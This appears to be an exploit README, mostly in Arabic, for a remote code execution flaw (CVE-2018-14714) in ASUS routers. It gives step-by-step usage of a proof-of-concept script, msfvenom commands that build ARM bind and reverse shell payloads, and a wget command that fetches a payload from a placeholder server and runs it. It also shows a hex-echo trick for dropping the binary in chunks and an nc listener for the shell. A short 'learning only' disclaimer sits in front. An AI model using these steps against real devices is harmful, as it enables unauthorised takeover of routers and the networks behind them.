
ASUS wifi router RCE vulnerability
ثغرة RCE في راوتر ASUS اللاسلكي
إثبات المفهوم هذا لأغراض التعلم والبحث فقط. لا تستخدمه في أنشطة غير قانونية؛ أنت وحدك المسؤول عن أي عواقب قانونية.
في العرض التوضيحي أدناه، جهاز الاختبار هو ASUS RT-N18U، إصدار البرنامج الثابت هو 3.0.0.4.378.9216، جهاز راوتر اشتريته أثناء دراستي الجامعية. وهو الآن جهاز الاختبار الخاص بي :)
شروط الاستغلال
تحتاج إلى تثبيت المتطلبات:
$ python3 -m pip install requestsقم بتشغيل السكريبت مباشرة للحصول على تعليمات الاستخدام. يمكنك تشغيل الأمر أدناه للتحقق مما إذا كان الهدف معرضًا للخطر.
$ python3 CVE-2018-14714-RCE_PoC.py <target> <user> <password>

يمكنك استخدام أمر msfvenom لإنشاء ملف تنفيذي ثنائي خفيف للشل العكسي. يمكنك تعديل المعلمات وفقًا لبيئة النواة التي تعمل بها. في حالتي، هو armv7l، والأمر كالتالي:
شل مرتبط (Bind shell)
$ msfvenom -p linux/armle/shell_bind_tcp LPORT=4444 -f elf -o pwn.elf

شل عكسي (Reverse shell)
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o pwn.elf

إذا كان جهاز الهدف يحتوي على أمر wget، بعد أن تبدأ الاستماع على المنفذ 4444، يمكنك استخدام الأمر التالي في شل زائف للحصول على شل عكسي:
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell
shell> cd /tmp && wget http://YourServer/pwn.elf -O pwn.elf && chmod +x ./pwn.elf && ./pwn.elf
إذا كانت بيئة الهدف لا تحتوي على أي أوامر مدمجة للوصول إلى الموارد عن بعد، يرجى متابعة القراءة.
قم بتحويل الملف الثنائي المُنشأ إلى بيانات ثنائية.
$ for i in `cat pwn.elf | xxd -p`;do echo -n $i;done
$ python3 -c 'a=input("binary data:");print("echo -ne \"",end="");print(*[f"\\x{a[i:i+2]}" for i in range(0,len(a),2)],sep="",end="");print("\"")'

لتأكيد وجود ثغرة في الهدف، أعد تشغيل سكريبت Python مع إضافة معامل الشل للدخول إلى شل زائف تفاعلي. يرجى ملاحظة أنه من الطبيعي ألا تنتج الأوامر أي مخرجات، حيث لا يوجد مكان لاستقبال stdout. ومع ذلك، يمكن استخدام أمر sleep للتحقق من أن الأوامر قد نُفذت بالفعل.

بالإضافة إلى ذلك، من المهم ملاحظة أنه بناءً على الاختبار، يسمح سطر الأوامر بحد أقصى 1022 حرفًا. يجب عليك بناء أوامر أقل من 1022 حرفًا.
لذلك، ستحتاج إلى تقسيم الحمولة يدويًا وتنفيذها على أجزاء لضمان تشغيل الأمر بنجاح.

بعد ذلك، دعنا نحصل على شل عكسي حقيقي. يمكنك البدء بالاستماع على المنفذ المحدد.
$ nc -lvnp 4444
قم بتشغيل سكريبت Python PoC للحصول على شل زائف لحقن الحمولة.
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell

أخيرًا، كل ما تبقى هو الاستمتاع بالشل العكسي الذي حصلت عليه :)
